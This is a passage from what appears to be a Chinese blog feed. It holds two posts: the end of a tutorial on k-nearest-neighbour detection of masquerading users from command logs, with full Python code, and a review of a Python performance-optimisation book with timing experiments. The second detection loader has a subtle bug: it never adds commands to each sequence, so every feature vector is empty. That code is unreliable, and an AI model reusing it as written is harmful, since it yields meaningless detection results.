<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">89.0</span><br><span class="line"></span><br><span class="line">***Repl Closed***</span><br></pre></td></tr></table></figure></p><p>OK,将所有代码整合在一起,如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line">#coding:utf-8</span><br><span class="line">'''</span><br><span class="line">@DateTime: 2018-01-24 14:36:02</span><br><span class="line">@Version: 1.0</span><br><span class="line">@Author: Unname_Bao</span><br><span class="line">'''</span><br><span class="line">from nltk.probability import FreqDist</span><br><span class="line">import operator</span><br><span class="line">from sklearn.neighbors import KNeighborsClassifier</span><br><span class="line">import numpy as np</span><br><span class="line"></span><br><span class="line">N = 50</span><br><span class="line">def load_user_cmd(filename):</span><br><span class="line">cmd_list = []#存储所有操作序列</span><br><span class="line">dist_max = []#存储用户使用频率最高的50个命令</span><br><span class="line">dist_min = []#存储用户使用频率最低的50个命令</span><br><span class="line">dist = []#存储所有命令</span><br><span class="line">with open(filename) as f:</span><br><span class="line">i = 0</span><br><span class="line">x = []#存储每个操作序列</span><br><span class="line">for line in f:</span><br><span class="line">line = line.strip('\n')#去掉空行</span><br><span class="line">x.append(line)#组合成操作序列</span><br><span class="line">dist.append(line)#添加操作命令</span><br><span class="line">i+=1</span><br><span class="line">if i==100:</span><br><span class="line">cmd_list.append(x)#每计数100个添加操作序列</span><br><span class="line">x = []#然后将操作序列清空</span><br><span class="line">i = 0</span><br><span class="line">fdist = sorted(FreqDist(dist).items(),key = operator.itemgetter(1),reverse = True)#获得操作命令使用频率并排序</span><br><span class="line">dist_max = set([item[0] for item in fdist[:50]])#取出前50个操作命令的指令</span><br><span class="line">dist_min = set([item[0] for item in fdist[-50:]])#取出前50个操作命令的指令</span><br><span class="line">return cmd_list,dist_max,dist_min </span><br><span class="line"></span><br><span class="line">def get_user_cmd_feature(user_cmd_list,dist_max,dist_min):</span><br><span class="line">user_cmd_feature = []</span><br><span class="line">for cmd_block in user_cmd_list:</span><br><span class="line">f1 = len(set(cmd_block))</span><br><span class="line">fdist = sorted(FreqDist(cmd_block).items(),key = operator.itemgetter(1),reverse = True)</span><br><span class="line">f2 = [item[0] for item in fdist[:10]]</span><br><span class="line">f3 = [item[0] for item in fdist[-10:]]</span><br><span class="line">f2 = len(set(f2) & set(dist_max))</span><br><span class="line">f3 = len(set(f3) & set(dist_min))</span><br><span class="line">x = [f1,f2,f3]</span><br><span class="line">user_cmd_feature.append(x)</span><br><span class="line">return user_cmd_feature</span><br><span class="line"></span><br><span class="line">def get_label(filename,index=0):#读取标签,index+1即用户编号</span><br><span class="line">x=[]</span><br><span class="line">with open(filename) as f:</span><br><span class="line">for line in f:</span><br><span class="line">line = line.strip('\n')</span><br><span class="line">x.append(int(line.split()[index]))</span><br><span class="line">return x</span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line">#读取用户操作序列,并做数据清洗</span><br><span class="line">user_cmd_list,user_cmd_dist_max,user_cmd_dist_min = load_user_cmd('../Capter5/MasqueradeDat/User3')</span><br><span class="line">#将数据特征化</span><br><span class="line">user_cmd_feature = get_user_cmd_feature(user_cmd_list,user_cmd_dist_max,user_cmd_dist_min)</span><br><span class="line">#获得操作序列的标签</span><br><span class="line">labels = get_label('../Capter5/MasqueradeDat/label.txt',2)</span><br><span class="line">#label.txt中只有后100个序列的标签,前50个都是正常用户的操作序列</span><br><span class="line">y = [0]*50 + labels</span><br><span class="line">#x代表特征化的数据,这里取了前N个数据</span><br><span class="line">x_train = user_cmd_feature[0:N]</span><br><span class="line">#y代表数据的标签,这里取了前N个数据的标签</span><br><span class="line">y_train = y[0:N]</span><br><span class="line">#N个以后的都用作测试</span><br><span class="line">x_test = user_cmd_feature[N:150]</span><br><span class="line">y_test = y[N:150]</span><br><span class="line">neigh = KNeighborsClassifier(n_neighbors = 3)</span><br><span class="line">neigh.fit(x_train,y_train)</span><br><span class="line">y_predict = neigh.predict(x_test)</span><br><span class="line">score = np.mean(y_test == y_predict)*100</span><br><span class="line">print(score)</span><br></pre></td></tr></table></figure><h2 id="使用K近邻算法检测异常操作(二)"><a href="#使用K近邻算法检测异常操作(二)" class="headerlink" title="使用K近邻算法检测异常操作(二)"></a>使用K近邻算法检测异常操作(二)</h2><p> 之前的方法只比较了最频繁和最不频繁的操作命令,这次我们尝试一下全量比较。 </p><h4 id="1、数据搜集和数据清洗"><a href="#1、数据搜集和数据清洗" class="headerlink" title="1、数据搜集和数据清洗"></a>1、数据搜集和数据清洗</h4><p> 由于这次是全量化处理,所以不需要再统计频率了,函数修改成以下:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">def load_user_cmd_new(filename):</span><br><span class="line">cmd_list = []#存储所有操作序列</span><br><span class="line">dist = []#存储所有命令</span><br><span class="line">with open(filename) as f:</span><br><span class="line">i = 0</span><br><span class="line">x = []#存储每个操作序列</span><br><span class="line">for line in f:</span><br><span class="line">line = line.strip('\n')#去掉空行</span><br><span class="line">dist.append(line)#添加操作命令</span><br><span class="line">i+=1</span><br><span class="line">if i==100:</span><br><span class="line">cmd_list.append(x)#每计数100个添加操作序列</span><br><span class="line">x = []#然后将操作序列清空</span><br><span class="line">i = 0</span><br><span class="line">return cmd_list,list(set(dist))</span><br></pre></td></tr></table></figure></p><h4 id="2、特征化-1"><a href="#2、特征化-1" class="headerlink" title="2、特征化"></a>2、特征化</h4><p> 特征化也很简单,对于出现过的命令置为1即可:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">def get_user_cmd_feature_new(user_cmd_list,dist):</span><br><span class="line">user_cmd_feature = []</span><br><span class="line">for cmd_block in user_cmd_list:</span><br><span class="line">v = [0]*len(dist)#v为向量,初始全为0</span><br><span class="line">for i in range(len(dist)):</span><br><span class="line">if dist[i] in cmd_block:</span><br><span class="line">v[i] = 1#一旦使用过某序号的命令,置为1</span><br><span class="line">user_cmd_feature.append(v)</span><br><span class="line">return user_cmd_feature</span><br></pre></td></tr></table></figure></p><h4 id="3、训练数据及验证"><a href="#3、训练数据及验证" class="headerlink" title="3、训练数据及验证"></a>3、训练数据及验证</h4><p> 和之前类似,这次使用交叉验证,10次随机取样和验证,提高验证可信度。<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">#读取用户操作序列,并做数据清洗</span><br><span class="line">user_cmd_list,dist = load_user_cmd_new('../Capter5/MasqueradeDat/User3')</span><br><span class="line">#将数据特征化</span><br><span class="line">user_cmd_feature = get_user_cmd_feature_new(user_cmd_list,dist)</span><br><span class="line">#获得操作序列的标签</span><br><span class="line">labels = get_label('../Capter5/MasqueradeDat/label.txt',2)</span><br><span class="line">#label.txt中只有后100个序列的标签,前50个都是正常用户的操作序列</span><br><span class="line">y = [0]*50 + labels</span><br><span class="line">neigh = KNeighborsClassifier(n_neighbors = 3)</span><br><span class="line">#交叉验证,10次随机取样,n_jobs=-1表示使用全部CPU运行</span><br><span class="line">print(model_selection.cross_val_score(neigh,user_cmd_feature,y,n_jobs=-1,cv=10))</span><br></pre></td></tr></table></figure></p><p> 最终代码为:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line">#coding:utf-8</span><br><span class="line">'''</span><br><span class="line">@DateTime: 2018-01-25 16:22:47</span><br><span class="line">@Version: 1.0</span><br><span class="line">@Author: Unname_Bao</span><br><span class="line">'''</span><br><span class="line"></span><br><span class="line">from nltk.probability import FreqDist</span><br><span class="line">import operator</span><br><span class="line">from sklearn.neighbors import KNeighborsClassifier</span><br><span class="line">from sklearn import model_selection</span><br><span class="line">import numpy as np</span><br><span class="line"></span><br><span class="line">def load_user_cmd_new(filename):</span><br><span class="line">cmd_list = []#存储所有操作序列</span><br><span class="line">dist = []#存储所有命令</span><br><span class="line">with open(filename) as f:</span><br><span class="line">i = 0</span><br><span class="line">x = []#存储每个操作序列</span><br><span class="line">for line in f:</span><br><span class="line">line = line.strip('\n')#去掉空行</span><br><span class="line">dist.append(line)#添加操作命令</span><br><span class="line">i+=1</span><br><span class="line">if i==100:</span><br><span class="line">cmd_list.append(x)#每计数100个添加操作序列</span><br><span class="line">x = []#然后将操作序列清空</span><br><span class="line">i = 0</span><br><span class="line">return cmd_list,list(set(dist))</span><br><span class="line"></span><br><span class="line">def get_user_cmd_feature_new(user_cmd_list,dist):</span><br><span class="line">user_cmd_feature = []</span><br><span class="line">for cmd_block in user_cmd_list:</span><br><span class="line">v = [0]*len(dist)#v为向量,初始全为0</span><br><span class="line">for i in range(len(dist)):</span><br><span class="line">if dist[i] in cmd_block:</span><br><span class="line">v[i] = 1#一旦使用过某序号的命令,置为1</span><br><span class="line">user_cmd_feature.append(v)</span><br><span class="line">return user_cmd_feature</span><br><span class="line"></span><br><span class="line">def get_label(filename,index=0):#读取标签,index+1即用户编号</span><br><span class="line">x=[]</span><br><span class="line">with open(filename) as f:</span><br><span class="line">for line in f:</span><br><span class="line">line = line.strip('\n')</span><br><span class="line">x.append(int(line.split()[index]))</span><br><span class="line">return x</span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line">#读取用户操作序列,并做数据清洗</span><br><span class="line">user_cmd_list,dist = load_user_cmd_new('../Capter5/MasqueradeDat/User3')</span><br><span class="line">#将数据特征化</span><br><span class="line">user_cmd_feature = get_user_cmd_feature_new(user_cmd_list,dist)</span><br><span class="line">#获得操作序列的标签</span><br><span class="line">labels = get_label('../Capter5/MasqueradeDat/label.txt',2)</span><br><span class="line">#label.txt中只有后100个序列的标签,前50个都是正常用户的操作序列</span><br><span class="line">y = [0]*50 + labels</span><br><span class="line">neigh = KNeighborsClassifier(n_neighbors = 3)</span><br><span class="line">#交叉验证,10次随机取样,n_jobs=-1表示使用全部CPU运行</span><br><span class="line">print(model_selection.cross_val_score(neigh,user_cmd_feature,y,n_jobs=-1,cv=10))</span><br></pre></td></tr></table></figure></p>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>《Python性能分析与优化》读后感</title>
<link href="http://yoursite.com/2018/01/14/%E3%80%8APython%E6%80%A7%E8%83%BD%E5%88%86%E6%9E%90%E4%B8%8E%E4%BC%98%E5%8C%96%E3%80%8B%E8%AF%BB%E5%90%8E%E6%84%9F/"/>
<id>http://yoursite.com/2018/01/14/《Python性能分析与优化》读后感/</id>
<published>2018-01-14T06:55:09.000Z</published>
<updated>2019-09-12T06:22:21.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/79056049" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/79056049</a> </p><p> 最近读了《Python性能分析与优化》,前面大部分章节都是介绍性能分析工具以及一些比较简单的优化方式(重复运算查表之类的常识),可能是我第一次阅读,挖掘的干活不算很多,不过还想来总结分享一下。</p><p> 首先介绍一些关于Python特性的优化利用。</p><p> 一、循环、列表综合表达式、生成器表达式</p><p> 书中有列举循环和列表的运行时间对比,由于我主要用的是Python3,所以我改成了Python3的代码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">#coding:utf-8</span><br><span class="line">'''</span><br><span class="line">@DateTime: 2017-12-18 09:56:15</span><br><span class="line">@Version: 1.0</span><br><span class="line">@Author: Unname_Bao</span><br><span class="line">'''</span><br><span class="line">import dis</span><br><span class="line">import inspect</span><br><span class="line">import timeit</span><br><span class="line"></span><br><span class="line">programs = dict(</span><br><span class="line">loop = '''</span><br><span class="line">multiples_of_two = []</span><br><span class="line">for x in range(100):</span><br><span class="line">if x%2 == 0:</span><br><span class="line">multiples_of_two.append(x)</span><br><span class="line">''',#loop是循环的代码</span><br><span class="line">comprehension = 'multiples_of_two = [x for x in range(100) if x % 2 == 0]',#comprehension是列表综合生成式代码</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">for name , text in programs.items():</span><br><span class="line">print(name,timeit.Timer(stmt = text).timeit())#打印运行时间</span><br><span class="line">code = compile(text,'<string>','exec')#编译</span><br><span class="line">dis.disassemble(code)#输出生成的机器码</span><br></pre></td></tr></table></figure><p> 上面的代码是对比生成100以内偶数的代码,以下是运行结果(当然,是Python3的): </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">loop 10.350648703367305</span><br><span class="line"> 2 0 BUILD_LIST 0</span><br><span class="line"> 2 STORE_NAME 0 (multiples_of_two)</span><br><span class="line"></span><br><span class="line"> 3 4 SETUP_LOOP 38 (to 44)</span><br><span class="line"> 6 LOAD_NAME 1 (range)</span><br><span class="line"> 8 LOAD_CONST 0 (100)</span><br><span class="line"> 10 CALL_FUNCTION 1</span><br><span class="line"> 12 GET_ITER</span><br><span class="line"> >> 14 FOR_ITER 26 (to 42)</span><br><span class="line"> 16 STORE_NAME 2 (x)</span><br><span class="line"></span><br><span class="line"> 4 18 LOAD_NAME 2 (x)</span><br><span class="line"> 20 LOAD_CONST 1 (2)</span><br><span class="line"> 22 BINARY_MODULO</span><br><span class="line"> 24 LOAD_CONST 2 (0)</span><br><span class="line"> 26 COMPARE_OP 2 (==)</span><br><span class="line"> 28 POP_JUMP_IF_FALSE 14</span><br><span class="line"></span><br><span class="line"> 5 30 LOAD_NAME 0 (multiples_of_two)</span><br><span class="line"> 32 LOAD_ATTR 3 (append)</span><br><span class="line"> 34 LOAD_NAME 2 (x)</span><br><span class="line"> 36 CALL_FUNCTION 1</span><br><span class="line"> 38 POP_TOP</span><br><span class="line"> 40 JUMP_ABSOLUTE 14</span><br><span class="line"> >> 42 POP_BLOCK</span><br><span class="line"> >> 44 LOAD_CONST 3 (None)</span><br><span class="line"> 46 RETURN_VALUE</span><br><span class="line">comprehension 8.135235990133049</span><br><span class="line"> 1 0 LOAD_CONST 0 (<code object <listcomp> at 0x00000258440AA5D0, file "<string>", line 1>)</span><br><span class="line"> 2 LOAD_CONST 1 ('<listcomp>')</span><br><span class="line"> 4 MAKE_FUNCTION 0</span><br><span class="line"> 6 LOAD_NAME 0 (range)</span><br><span class="line"> 8 LOAD_CONST 2 (100)</span><br><span class="line"> 10 CALL_FUNCTION 1</span><br><span class="line"> 12 GET_ITER</span><br><span class="line"> 14 CALL_FUNCTION 1</span><br><span class="line"> 16 STORE_NAME 1 (multiples_of_two)</span><br><span class="line"> 18 LOAD_CONST 3 (None)</span><br><span class="line"> 20 RETURN_VALUE</span><br><span class="line"></span><br><span class="line">***Repl Closed***</span><br></pre></td></tr></table></figure><p> 可以看到。循环和综合表达式生成的机器码行数就不一样,如果你使用的是python2运行,生成的行数会更多。所以,在生成列表时应该尽量使用综合列表表达式,不仅使用简单而且生成更少的机器码,并且运行时间更少。 </p><p> 关于生成器表达式,使用方法和列表表达式是类似的,就是把中括号换成小括号就可以了,例如:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">my_list = (i**2 for i in range(100))</span><br></pre></td></tr></table></figure><p>但生成器有个缺点是不能随机接入,即只可以遍历使用: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">>>> my_list[1]#这样使用会报错</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line"> File "<stdin>", line 1, in <module></span><br><span class="line">TypeError: 'generator' object has no attribute '__getitem__'</span><br><span class="line">>>> for i in my_list:</span><br><span class="line">... print(i)</span><br><span class="line">...</span><br><span class="line">0</span><br><span class="line">1</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>生成器和列表表达式在不同的数据量中表现不同,数据量越小使用列表表达式创建列表越快,数据量越大使用生成器创建列表越快。 </p><p> 二、Ctypes</p><p> 这个特性只存在于CPython中,ctypes可以使开发者借助C直接进行底层开发,实现C语言的功能,也可以通过这个库调用共享链接库(so、dll),并且可以借此绕过GIL(总所周知Python是伪多线程,而GIL是Python在设计中限制Python多线程的机制,就是说因为GIL的存在Python无法实现真正的多线程,但是在调用机器码时可以绕过该机制。)</p><p> 下面是一个简单的生成随机数对比代码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">#coding:utf-8</span><br><span class="line">'''</span><br><span class="line">@DateTime: 2018-01-14 14:06:34</span><br><span class="line">@Version: 1.0</span><br><span class="line">@Author: Unname_Bao</span><br><span class="line">'''</span><br><span class="line">import time</span><br><span class="line">import random</span><br><span class="line">from ctypes import cdll</span><br><span class="line">libc = cdll.msvcrt</span><br><span class="line">#libc = cdll.LoadLibrary('libc.so.6')#Linux系统</span><br><span class="line"></span><br><span class="line">init = time.time()</span><br><span class="line">randoms = [random.randint(1,100) for i in range(1000000)]</span><br><span class="line">print('Pure python: %s seconds'%(time.time() - init))</span><br><span class="line"></span><br><span class="line">init = time.time()</span><br><span class="line">randoms = [(libc.rand()%100+1) for i in range(1000000)]</span><br><span class="line">print('C version: %s seconds'%(time.time() - init))</span><br></pre></td></tr></table></figure><p>输出结果: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Pure python: 1.5020687580108643 seconds</span><br><span class="line">C version: 0.5097446441650391 seconds</span><br><span class="line"></span><br><span class="line">***Repl Closed***</span><br></pre></td></tr></table></figure><p> ctype当然可以调用自己写的dll,这个我就不举例了。 </p><p> 三、字符串连接</p><p> 这个涉及到我之前写的一篇文章,当时其实写错了,但我不修改了,大家看到知道就行了:<a href="http://blog.csdn.net/s1054436218/article/details/78637048" target="_blank" rel="noopener">关于python3中整数数组转bytes的效率问题</a></p><p> 这个大家可以就当成例子看,不过原理写错了,实际上真正的原因是Python的字符串特性。</p><p> 字符串在Python在内存中是静态值,也就是说Python的字符串变量只不过是指向了内存中的静态值,这一点跟Java类似,看下面的输出结果大家就懂了:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">>>> str1 = 'Unname_Bao'</span><br><span class="line">>>> str2 = 'Unname_Bao'</span><br><span class="line">>>> id(str1)</span><br><span class="line">2020390278064</span><br><span class="line">>>> id(str2)</span><br><span class="line">2020390278064</span><br><span class="line">>>> str1 = str1+str2</span><br><span class="line">>>> id(str2)</span><br><span class="line">2020390278064</span><br><span class="line">>>> id(str1)</span><br><span class="line">2020390263736</span><br></pre></td></tr></table></figure><p>str1和str2的值相同,他们内存中指向的静态值就相同,而一旦对str1进行修改,就会申请新的内存地址,然后让str1和str2连接的运算结果存在新申请的内存地址中,然后让str1指向新申请的内存地址。也就是说任何字符串修改都会让python重新申请内存地址,所以在我之前的文章中才会遇到跑十几分钟跑不出来的问题,但是改成列表运算就可以几秒钟内跑出来了。 </p><p> 四、多线程与多进程</p><p> 之前也提到了,由于GIL的存在,python的多线程实际上是伪多线程,但是可以通过调用dll绕过GIL,纯python代码的多线程仅适用于IO密集型操作中,否则反而会使效率降低,这些都是老生常谈的话题了。</p><p> python的多进程是真的多进程,不过我对多进程的使用的还比较少,这篇文章主要是想帮大家了解一下提高代码效率的方法,所以想要了解并使用多进程的话,可以百度一下。</p><p> 五、JIT</p><p> 不知道JIT(just in time)的可以了解一下,Python是一个解释型语言,就是边运行边翻译,JIT技术是指在第一次运行的时候进行编译,例如第一次运行sum的时候,先进行编译再运行,下次再调用sum的时候,由于是直接调用的机器码,就可以减少很多时间。Java就是通过JIT技术成为解释型语言中的性能怪兽的。</p><p> 当然这也带来一个问题就是第一次调用函数的时候反而会降低效率,接下来给大家举个例子:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">#coding:utf-8</span><br><span class="line">'''</span><br><span class="line">@DateTime: 2018-01-14 12:50:35</span><br><span class="line">@Version: 1.0</span><br><span class="line">@Author: Unname_Bao</span><br><span class="line">'''</span><br><span class="line">from numba import jit</span><br><span class="line">import random</span><br><span class="line">import time</span><br><span class="line"># import numpy</span><br><span class="line"></span><br><span class="line">@jit</span><br><span class="line">def sum1(a):#sum1使用jit技术</span><br><span class="line">s = 0</span><br><span class="line">for i in a:</span><br><span class="line">s = s +i</span><br><span class="line">return s</span><br><span class="line"></span><br><span class="line">def sum2(a):#sum2没有使用jit技术</span><br><span class="line">s = 0</span><br><span class="line">for i in a:</span><br><span class="line">s = s + i</span><br><span class="line">return s</span><br><span class="line"></span><br><span class="line">a = [random.randint(0,1000) for i in range(1000000)]</span><br><span class="line"></span><br><span class="line">init = time.time()</span><br><span class="line">print(sum1(a))</span><br><span class="line">print(time.time()-init)</span><br><span class="line"></span><br><span class="line">init = time.time()</span><br><span class="line">print(sum2(a))</span><br><span class="line">print(time.time()-init)</span><br><span class="line"></span><br><span class="line">init = time.time()</span><br><span class="line">print(sum1(a))</span><br><span class="line">print(time.time()-init)</span><br></pre></td></tr></table></figure><p>numba是提高Python的一个第三方库之一,是解决Python效率的方案之一,提供JIT、GIT绕过和调用GPU,但它JIT的使用适用范围有限,可能会不支持第三方库的数据类型。大家了解一下便好,接下来是运行结果: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">500335531</span><br><span class="line">0.18614816665649414</span><br><span class="line">500335531</span><br><span class="line">0.04512643814086914</span><br><span class="line">500335531</span><br><span class="line">0.0170440673828125</span><br><span class="line"></span><br><span class="line">***Repl Closed***</span><br></pre></td></tr></table></figure><p> 可见第一次调用sum1比第二次调用sum1慢的多,但一旦编译好,sum1的速度就比sum2要快了。</p><p> 以上算是我阅读完这本书后的小结了,第一次阅读感觉干货不算很多,勉强可以总结成一篇文章,大部分优化方法都了解过或者算是常识了,不过也让我了解到了一些我对Python的误解,也算是有收获吧。</p>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>使用z3约束器解决CTF中的题目</title>
